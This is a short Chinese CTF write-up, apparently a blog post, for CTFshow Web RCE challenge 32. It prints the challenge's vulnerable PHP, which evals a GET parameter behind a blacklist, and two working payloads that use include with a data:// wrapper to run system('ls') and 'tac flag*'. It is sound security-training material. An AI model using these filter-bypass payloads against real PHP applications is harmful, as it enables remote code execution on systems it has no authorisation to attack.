CTFshow-Web入门-RCE-32题

1、代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

可以看到过滤了很多字符,连分号都被过滤了,那么所有的代码执行语句的方法都不行,比如:参数逃逸,常规方法等

2、尝试使用伪协议

payload:

?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls ./');?>
image-20241211171118362

成功了,有文件,进一步获取flag

payload:

?c=include$_GET[a]?>&a=data://text/plain,<?php system('tac flag*');?>
image-20241211171232039
posted @ 2025-12-03 09:32  shinianyunyan  阅读(14)  评论(0)    收藏  举报